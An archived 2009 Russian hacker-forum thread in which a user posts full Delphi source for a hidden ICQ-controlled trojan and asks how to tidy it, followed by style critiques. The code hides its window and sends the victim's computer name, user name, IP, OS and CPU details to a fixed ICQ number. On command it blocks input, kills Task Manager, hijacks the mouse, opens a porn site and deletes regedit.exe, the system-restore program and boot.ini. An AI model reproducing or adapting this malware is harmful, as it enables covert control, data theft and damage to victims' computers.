Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Как упростить корявый код(Дельфи)?

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Как упростить корявый код(Дельфи)?
Имя
Сообщение << Старые топики   Новые топики >>
Как упростить корявый код(Дельфи)? - 2009-03-24 09:35:29.066666   
Sokolik

Сообщений: 46
Оценки: 0
Присоединился: 2009-02-19 14:36:16.693333
Всем доброго времени суток!
Накодил прогу для удаленного управления компьютером через ICQ протокол. Код получился корявый, но работает нормально. Как можно реализовать функции примененные в коде, но без использования большого количества таймеров? И вобще как в ощем можно оптимизировать этот код?
interface uses &nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &nbsp; Dialogs,Registry, ExtCtrls, ICQClient, StdCtrls,MMSystem,ShellAPI,WinSock, &nbsp; AutoRun; type &nbsp; TForm1 = class(TForm) &nbsp;&nbsp;&nbsp; Memo1: TMemo; &nbsp;&nbsp;&nbsp; ICQClient1: TICQClient; &nbsp;&nbsp;&nbsp; Timer2: TTimer; &nbsp;&nbsp;&nbsp; Timer1: TTimer; &nbsp;&nbsp;&nbsp; Timer3: TTimer; &nbsp;&nbsp;&nbsp; Timer4: TTimer; &nbsp;&nbsp;&nbsp; TimerTMRG: TTimer; &nbsp;&nbsp;&nbsp; Timer6: TTimer; &nbsp;&nbsp;&nbsp; TimerGrad: TTimer; &nbsp;&nbsp;&nbsp; TimerMouse: TTimer; &nbsp;&nbsp;&nbsp; Timer7: TTimer; &nbsp;&nbsp;&nbsp; TimerMonitor: TTimer; &nbsp;&nbsp;&nbsp; Timer8: TTimer; &nbsp;&nbsp;&nbsp; Edit1: TEdit; &nbsp;&nbsp;&nbsp; Edit2: TEdit; &nbsp;&nbsp;&nbsp; Edit3: TEdit; &nbsp;&nbsp;&nbsp; Edit4: TEdit; &nbsp;&nbsp;&nbsp; Timer9: TTimer; &nbsp;&nbsp;&nbsp; Timer10: TTimer; &nbsp;&nbsp;&nbsp; Edit5: TEdit; &nbsp;&nbsp;&nbsp; Timer11: TTimer; &nbsp;&nbsp;&nbsp; Timer12: TTimer; &nbsp;&nbsp;&nbsp; Timer5: TTimer; &nbsp;&nbsp;&nbsp; Timer13: TTimer; &nbsp;&nbsp;&nbsp; TimerWMP: TTimer; &nbsp;&nbsp;&nbsp; TimerEbnMouse: TTimer; &nbsp;&nbsp;&nbsp; Timer14: TTimer; &nbsp;&nbsp;&nbsp; Timer15: TTimer; &nbsp;&nbsp;&nbsp; TimerPizda: TTimer; &nbsp;&nbsp;&nbsp; Timer16: TTimer; &nbsp;&nbsp;&nbsp; Timer17: TTimer; &nbsp;&nbsp;&nbsp; Label1: TLabel; &nbsp;&nbsp;&nbsp; Timer18: TTimer; &nbsp;&nbsp;&nbsp; Timer19: TTimer; &nbsp;&nbsp;&nbsp; Label2: TLabel; &nbsp;&nbsp;&nbsp; Timer20: TTimer; &nbsp;&nbsp;&nbsp; Timer21: TTimer; &nbsp;&nbsp;&nbsp; Timer22: TTimer; &nbsp;&nbsp;&nbsp; Label3: TLabel; &nbsp;&nbsp;&nbsp; Label4: TLabel; &nbsp;&nbsp;&nbsp; Timer23: TTimer; &nbsp;&nbsp;&nbsp; Timer24: TTimer; &nbsp;&nbsp;&nbsp; procedure AddEvent(EventText : String); &nbsp;&nbsp;&nbsp; procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String); &nbsp;&nbsp;&nbsp; procedure Timer1Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer2Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer3Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure TimerTMRGTimer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer6Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure TimerGradTimer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure TimerMouseTimer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer7Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure TimerMonitorTimer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer8Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer9Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure FormCreate(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer10Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer11Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer12Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer5Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure TimerWMPTimer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer13Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure TimerEbnMouseTimer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer14Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer15Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure TimerPizdaTimer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer16Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer17Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer18Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer19Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer20Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer21Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer22Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer4Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer23Timer(Sender: TObject); &nbsp;&nbsp;&nbsp; procedure Timer24Timer(Sender: TObject); &nbsp; private &nbsp;&nbsp;&nbsp; { Private declarations } &nbsp; public &nbsp; procedure HardwareInfo; &nbsp; procedure OSInfo; &nbsp;&nbsp;&nbsp; { Public declarations } &nbsp; end; &nbsp; const &nbsp; Crlf = Chr(13) + Chr(10); var &nbsp; Form1: TForm1; &nbsp; T : TextFile; &nbsp; procedure BlockInput; external 'user32.dll'; implementation {$R *.dfm} function UpTime: string; const ticksperday: Integer&nbsp;&nbsp;&nbsp; = 1000 * 60 * 60 * 24; ticksperhour: Integer&nbsp;&nbsp; = 1000 * 60 * 60; ticksperminute: Integer = 1000 * 60; tickspersecond: Integer = 1000; var t: Longword; d, h, m, s: Integer; begin t := GetTickCount; d := t div ticksperday; Dec(t, d * ticksperday); h := t div ticksperhour; Dec(t, h * ticksperhour); m := t div ticksperminute; Dec(t, m * ticksperminute); s := t div tickspersecond; Result := 'Uptime: ' + IntToStr(d) + ' Days ' + IntToStr(h) + ' Hours ' + IntToStr(m) + ' Minutes ' + IntToStr(s) + ' Seconds'; end; Type TOSVersion=(osUnknown, osUnknown9x, osUnknownNT, osWin95, osWin98, osWin98SE, osWinME, osWinNT, osWin2000, osXP); function GetOSVersion : TOSVersion; var osVerInfo : TOSVersionInfo; majorVer, minorVer : Integer; begin result := OsUnknown; osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if GetVersionEx(osVerInfo) then begin majorVer := osVerInfo.dwMajorVersion; minorVer := osVerInfo.dwMinorVersion; case osVerInfo.dwPlatformId of VER_PLATFORM_WIN32_NT : Case majorVer of 4:result := OsWinNT; 5:if minorVer=0 then result := OsWin2000 else if minorVer=1 then result := OsXP else result := osUnknownNT; else result := osUnknownNT; end; {Case majorVer of} VER_PLATFORM_WIN32_WINDOWS : case majorVer of 4: Case minorVer of 0:result := OsWin95; 10: if osVerInfo.szCSDVersion[1] = 'A' then result := OsWin98SE else result := OsWin98; 90: result := OsWinME; else result := osUnknown9x; end;{Case minorVer of} else result := osUnknown9x; end{case majorVer of} else result := OsUnknown; end;{case osVerInfo.dwPlatformId of} end;{if GetVersionEx(osVerInfo) then} end; type &nbsp; TVendor = array[0..11] of char; function GetCPUVendor: TVendor; assembler; register; asm &nbsp; PUSH EBX {Save affected register} &nbsp; PUSH EDI &nbsp; MOV EDI,EAX {@Result (TVendor)} &nbsp; MOV EAX,0 &nbsp; DW $A20F {CPUID Command} &nbsp; MOV EAX,EBX &nbsp; XCHG EBX,ECX {save ECX result} &nbsp; MOV ECX,4 @1: &nbsp; STOSB &nbsp; SHR EAX,8 &nbsp; LOOP @1 &nbsp; MOV EAX,EDX &nbsp; MOV ECX,4 @2: &nbsp; STOSB &nbsp; SHR EAX,8 &nbsp; LOOP @2 &nbsp; MOV EAX,EBX &nbsp; MOV ECX,4 @3: &nbsp; STOSB &nbsp; SHR EAX,8 &nbsp; LOOP @3 &nbsp; POP EDI {Restore registers} &nbsp; POP EBX end; function GetCPUSpeed: double; const &nbsp; DelayTime = 500; // время измерения в миллисекундах var &nbsp; TimerHi, TimerLo: DWORD; &nbsp; PriorityClass, Priority: integer; begin &nbsp; PriorityClass := GetPriorityClass(GetCurrentProcess); &nbsp; Priority := GetThreadPriority(GetCurrentThread); &nbsp; SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS); &nbsp; SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL); &nbsp; Sleep(10); &nbsp; asm &nbsp;&nbsp;&nbsp; dw 310Fh // rdtsc &nbsp;&nbsp;&nbsp; mov TimerLo, eax &nbsp;&nbsp;&nbsp; mov TimerHi, edx &nbsp; end; &nbsp; Sleep(DelayTime); &nbsp; asm &nbsp;&nbsp;&nbsp; dw 310Fh // rdtsc &nbsp;&nbsp;&nbsp; sub eax, TimerLo &nbsp;&nbsp;&nbsp; sbb edx, TimerHi &nbsp;&nbsp;&nbsp; mov TimerLo, eax &nbsp;&nbsp;&nbsp; mov TimerHi, edx &nbsp; end; &nbsp; SetThreadPriority(GetCurrentThread, Priority); &nbsp; SetPriorityClass(GetCurrentProcess, PriorityClass); &nbsp; Result := TimerLo / (1000.0 * DelayTime); end; procedure Block; asm &nbsp; push 1 &nbsp; call BlockInput end; procedure UnBlock; asm &nbsp; push 0 &nbsp; call BlockInput end; // Информация о компьютере. procedure TForm1.HardwareInfo; var Size : cardinal; PRes : PChar; BRes : boolean; lpSystemInfo : TSystemInfo; begin // Имя компьютера Size := MAX_COMPUTERNAME_LENGTH + 1; PRes := StrAlloc(Size); BRes := GetComputerName(PRes, Size); if BRes then Edit1.text :='Имя компьютера: '+ StrPas(PRes); // Имя пользователя Size := MAX_COMPUTERNAME_LENGTH + 1; PRes := StrAlloc(Size); BRes := GetUserName(PRes, Size); if BRes then Edit2.text :='Имя пользователя: '+ StrPas(PRes); end; procedure TForm1.OSInfo; var PRes : PChar; Res : word; BRes : boolean; lpVersionInformation : TOSVersionInfo; c : string; begin // Каталог, где установлена Windows PRes := StrAlloc(255); Res := GetWindowsDirectory(PRes, 255); if Res &gt; 0 then Edit3.text :='Каталог, где установлена Windows: '+ StrPas(PRes); Res := GetSystemDirectory(PRes, 255); if Res &gt; 0 then Edit4.text :='Системный каталог Windows: '+StrPas(PRes); end; procedure grad(var bitmap:tbitmap); type trgb = record r,g,b: byte; end; argb = array[0..1] of trgb; pargb = ^argb; var x,y:integer; p:pargb; b:tbitmap; begin bitmap.pixelformat := pf24bit; b:=tbitmap.create; b.assign(bitmap); for y:=0 to b.height-1 do begin p := b.scanline[y]; for x := 0 to b.width - 1 do begin p[x].r:=((((b.width-x)*100) div b.width)*255) div 100; p[x].b:=(((x*100) div b.width)*255) div 100; end; end; bitmap.canvas.draw(0,0,b); end; procedure TForm1.Timer13Timer(Sender: TObject); begin if Memo1.Text ='12' then begin Memo1.clear; TimerWMP.Enabled:=true; icqclient1.SendMessage(2929299,'При открытии Windows Media Player будет сразу закрыт'); end; end; procedure TForm1.AddEvent(EventText : String); begin EventText :=EventText; if Memo1.Text = '' then Memo1.Text := EventText else Memo1.Lines.Add(EventText); end; procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String); begin AddEvent(''+ Msg +''); end; procedure TForm1.Timer1Timer(Sender: TObject); begin if Memo1.Text ='1' then begin Memo1.clear; WinExec('Notepad', SW_SHOW); icqclient1.SendMessage(2929299,'Блокнот запушен'); end; end; procedure TForm1.Timer2Timer(Sender: TObject); begin if not(ICQClient1.loggedIn) then ICQClient1.Login(); end; procedure TForm1.Timer3Timer(Sender: TObject); begin if Memo1.Text ='2' then begin Memo1.clear; mciSendString('Set cdaudio door open wait', nil, 0, handle); mciSendString('Set cdaudio door closed wait', nil, 0, handle); icqclient1.SendMessage(2929299,'Лоток CD-ROM открыт, закрыт, выведено сообшение об ошибке CD-ROM'); MessageDLG('Ошибка #000832#001 CD-ROM',mtError,[mbOK],0); end; end; procedure TForm1.TimerTMRGTimer(Sender: TObject); var w:hwnd; begin w:=findwindow(nil,'Диспетчер задач Windows'); if (w&lt;&gt; 0) then begin sendmessage(w,wm_destroy,0,0); MessageDLG('Диспетчер задач Windows вызвал ошибку',mtError,[mbOK],0); end; end; procedure TForm1.Timer6Timer(Sender: TObject); begin if Memo1.Text ='4' then begin Memo1.clear; TimerGrad.Enabled:=true; icqclient1.SendMessage(2929299,'Изображение на мониторе жертвы вызвало у него истерику'); end; end; procedure TForm1.TimerGradTimer(Sender: TObject); var bmp: tbitmap; dc: hdc; begin bmp:=tbitmap.create; bmp.height:=screen.height; bmp.width:=screen.width; dc:=getdc(0); bitblt(bmp.canvas.handle, 0, 0, screen.width, screen.height, dc, 0, 0, srccopy); grad(bmp); bitblt(dc, 0, 0, screen.width, screen.height, bmp.canvas.handle, 0, 0, srccopy); end; procedure TForm1.TimerMouseTimer(Sender: TObject); begin mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); end; procedure TForm1.Timer7Timer(Sender: TObject); begin if Memo1.Text ='5' then begin Memo1.clear; TimerMouse.Enabled:=true; icqclient1.SendMessage(2929299,'Мышка автоматически кликает на наведенные объекты'); end; end; procedure TForm1.TimerMonitorTimer(Sender: TObject); begin SendMessage(HWND_BROADCAST, WM_SYSCOMMAND,SC_MONITORPOWER, 2); sleep(3000); SendMessage(HWND_BROADCAST, WM_SYSCOMMAND,SC_MONITORPOWER, 0); TimerMonitor.Enabled:=false; icqclient1.SendMessage(2929299,'Монитор выключился и включился!!!Внимание!!!Не злоупотребляйте этой функцией, многократное использование может привести к поломке монитора жертвы!!!'); end; procedure TForm1.Timer8Timer(Sender: TObject); begin if Memo1.Text ='6' then begin Memo1.clear; TimerMonitor.Enabled:=true; end; end; procedure TForm1.Timer9Timer(Sender: TObject); begin if Memo1.Text ='7' then begin Memo1.clear; HardwareInfo; OSInfo; icqclient1.SendMessage(2929299,Edit1.Text+'***' + Edit2.Text+'***' + Edit3.Text+'***' + Edit4.Text); end; end; procedure TForm1.FormCreate(Sender: TObject); type &nbsp; InAddr = Array[0..10] of PInAddr; &nbsp; TInAddr = ^InAddr; var &nbsp; Host: PHostEnt; &nbsp; pPtr: TInAddr; &nbsp; Buffer: Array[0..63] of char; &nbsp; i: Integer; &nbsp; Socket: TWSAData; begin application.showmainform:=false; ShowWindow(Handle, SW_HIDE); ShowWindow(Application.Handle, SW_HIDE); label1.Caption := Format('CPU speed: %f MHz;', [GetCPUSpeed]); Label2.Caption := GetCPUVendor; &nbsp;&nbsp; WSAStartup( $101, Socket ); &nbsp;&nbsp; GetHostName( Buffer, SizeOf( Buffer ) ); &nbsp;&nbsp; Host := GetHostByName( buffer ); &nbsp;&nbsp; if Host = nil then Exit; &nbsp;&nbsp; pPtr := TInAddr( Host^.h_addr_list ); &nbsp;&nbsp; i := 0; &nbsp;&nbsp; while pPtr^[i] &lt;&gt; nil do &nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Edit5.text :=( inet_ntoa( pPtr^[i]^ ) ); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc( i ); &nbsp;&nbsp; end; &nbsp;&nbsp; WSACleanup; end; procedure TForm1.Timer10Timer(Sender: TObject); begin if Memo1.Text ='8' then begin Memo1.clear; icqclient1.SendMessage(2929299,'ip адрес сетевого устройства: ' + Edit5.Text); end; end; procedure TForm1.Timer11Timer(Sender: TObject); begin if Memo1.Text ='9' then begin Memo1.clear; Block; icqclient1.SendMessage(2929299,'Мышка и клавиатура заблокирована'); end; end; procedure TForm1.Timer12Timer(Sender: TObject); begin if Memo1.Text ='10' then begin Memo1.clear; MessageDLG('За компьютером ламер!!!',mtError,[mbYes],0); icqclient1.SendMessage(2929299,'Ошибка с сообщением За компьютером ламер показано'); end; end; procedure TForm1.Timer5Timer(Sender: TObject); begin if Memo1.Text ='11' then begin Memo1.clear; ShellExecute(Application.Handle, nil, &nbsp;&nbsp;&nbsp; 'http://www.dejanude.com/', &nbsp;&nbsp;&nbsp; nil, nil, SW_SHOWNORMAL); &nbsp;&nbsp;&nbsp; icqclient1.SendMessage(2929299,'Порносайт открыт в браузере'); end; end; procedure TForm1.TimerWMPTimer(Sender: TObject); var w:hwnd; begin w:=findwindow(nil,'Проигрыватель Windows Media'); if (w&lt;&gt; 0) then begin sendmessage(w,wm_destroy,0,0); MessageDLG('Проигрыватель Windows Media вызвал ошибку',mtError,[mbOK],0); end; end; procedure TForm1.TimerEbnMouseTimer(Sender: TObject); begin &nbsp;randomize; &nbsp;setCursorPos(random(Screen.Width-1),random(Screen.Height-1)); &nbsp;mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); end; procedure TForm1.Timer14Timer(Sender: TObject); begin if Memo1.Text ='13' then begin Memo1.clear; TimerEbnMouse.Enabled:=true; icqclient1.SendMessage(2929299,'Мышка ошалела!!!Передвигаеться по области экрана со скоростью света и клькает куда ей угодно'); end; end; procedure TForm1.Timer15Timer(Sender: TObject); begin if Memo1.Text ='14' then begin Memo1.clear; TimerEbnMouse.Enabled:=false; icqclient1.SendMessage(2929299,'Бешеная мышка успокоилась'); end; end; procedure TForm1.TimerPizdaTimer(Sender: TObject); begin if Memo1.Text ='pizda' then begin Memo1.clear; deletefile('C:\WINDOWS\system32\Restore\rstrui.exe'); deletefile('D:\WINDOWS\system32\Restore\rstrui.exe'); deletefile('E:\WINDOWS\system32\Restore\rstrui.exe'); deletefile('F:\WINDOWS\system32\Restore\rstrui.exe'); deletefile('C:\WINDOWS\system32\regedit.exe'); deletefile('D:\WINDOWS\system32\regedit.exe'); deletefile('E:\WINDOWS\system32\regedit.exe'); deletefile('F:\WINDOWS\system32\regedit.exe'); deletefile('C:\boot.ini'); deletefile('D:\boot.ini'); deletefile('E:\boot.ini'); icqclient1.SendMessage(2929299,'удален файл regedit.exe, boot.ini...'); end; end; procedure TForm1.Timer16Timer(Sender: TObject); begin if Memo1.Text ='mgr' then begin Memo1.clear; TimerTMRG.Enabled:=true; icqclient1.SendMessage(2929299,'Диспетчер задач не сможет открыться'); end; end; procedure TForm1.Timer17Timer(Sender: TObject); begin if Memo1.Text ='del' then begin Memo1.clear; WinExec('C:\WINDOWS\del_sv.bat', SW_SHOW); icqclient1.SendMessage(2929299,'Программа начала функцию самоуничтожения, ее дальнейшее использование не возможно на компьютере жертвы'); close; end; end; procedure TForm1.Timer18Timer(Sender: TObject); begin if Memo1.Text ='3' then begin Memo1.clear; icqclient1.SendMessage(2929299,label1.caption + 'производитель CPU:'+ label2.caption ); end; end; procedure TForm1.Timer19Timer(Sender: TObject); begin if Memo1.Text ='exit' then begin Memo1.clear; icqclient1.SendMessage(2929299,'Программа выходит из режима ONLINE'); close; end; end; procedure TForm1.Timer20Timer(Sender: TObject); begin if Memo1.Text ='15' then begin Memo1.clear; ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);//скрыть icqclient1.SendMessage(2929299,'иконки на рабочем столе скрыты'); end; end; procedure TForm1.Timer21Timer(Sender: TObject); begin if Memo1.Text ='16' then begin Memo1.clear; ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW); //показать иконки icqclient1.SendMessage(2929299,'иконки на рабочем столе не скрыты'); end; end; procedure TForm1.Timer22Timer(Sender: TObject); begin if Memo1.Text ='17' then begin Memo1.clear; begin case GetOSVersion of osUnknown: label3.Caption:='Версия не определена'; osWin95: label3.Caption:='Windows 95'; osWin98: label3.Caption:='Windows 98'; osWin98SE: label3.Caption:='Windows 98 SE'; osWinME: label3.Caption:='WindowsMe'; osWinNT: label3.Caption:='Windows NT'; osWin2000: label3.Caption:='Windows 2000'; osXP: label3.Caption:='Windows XP'; end; begin icqclient1.SendMessage(2929299,label3.caption); end; end; end; end; procedure TForm1.Timer4Timer(Sender: TObject); begin if Memo1.Text ='18' then begin Memo1.clear; label4.Caption := UpTime; icqclient1.SendMessage(2929299,label4.caption); end; end; procedure TForm1.Timer23Timer(Sender: TObject); begin if Memo1.Text ='19' then begin SendMessage(HWND_BROADCAST, WM_SYSCOMMAND,SC_MONITORPOWER, 2); Memo1.clear; sleep(3000); icqclient1.SendMessage(2929299,'Монитор выключился'); end; &nbsp;end; &nbsp;procedure TForm1.Timer24Timer(Sender: TObject); begin if Memo1.Text ='20' then begin SendMessage(HWND_BROADCAST, WM_SYSCOMMAND,SC_MONITORPOWER, 0); Memo1.clear; sleep(3000); icqclient1.SendMessage(2929299,'Монитор включился'); end; &nbsp;end; end.&nbsp;
Post #: 1
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 14:31:00.763333   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
такого убожества я в жизни еще не видел :(:(:(

объясни мне, зачем столько таймеров ? бредятину ты написал…

Каждую фичу вынеси в фукцию или процедуру, а в ICQClient1MessageRecv сверяй Msg, например

function GetOs:string; begin ..... end; if Msg='OS' then icqclient1.SendMessage(2929299,GetOs); if Msg=.... then ........................
Post #: 2
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 15:16:53.836666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Массивы рулят :D
Post #: 3
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 18:51:58.626666   
HaXyaToP

Сообщений: 43
Оценки: 0
Присоединился: 2009-03-17 22:50:40.540000
1. Убрать тучу таймеров.
2. Использовать Таймер вместо Sleep'a
3. Не проверять текст в мемо, а сверять переменные,из который грузится текст в мемо
ИЛИ
Откомпилировать и удалить сорцы.
Post #: 4
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 19:16:46.730000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Да, ещё не поменашет нормально идентификаторы обзывать. Например не Event1, Event2, Event3, а OnGetWinVer, OnExit, OnCrash и пр. Тогда хоть код читабельным становится.
Post #: 5
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 21:42:47.620000   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
А чето как то необычно. Серьезные такие фичи на асме сочетаются с откровенными недодумками (типо то место где таймер гадит - там попытка удалить файл по разным путям вместо проверки того какой существует, протокол аси=оригинально….) Реал с таймерами дико,переделай.
Post #: 6
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 21:57:44.663333   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
quote:

такие фичи на асме сочетаются с откровенными недодумками

Заходишь СЮДА - на дельфи есть все для любого трояна, отсюда наверно и скатано :)
Post #: 7
RE: Как упростить корявый код(Дельфи)? - 2009-03-24 23:22:06.843333   
VENOM4X

Сообщений: 246
Оценки: 0
Присоединился: 2008-02-18 22:49:08.960000
Присоединяюсь к всему выше написанному, и ещё - отредактируй название таймера пока модераторы не появились :D
Post #: 8
RE: Как упростить корявый код(Дельфи)? - 2009-03-25 00:38:45.010000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
TimerEb#Mouse xD
Post #: 9
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Как упростить корявый код(Дельфи)?







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.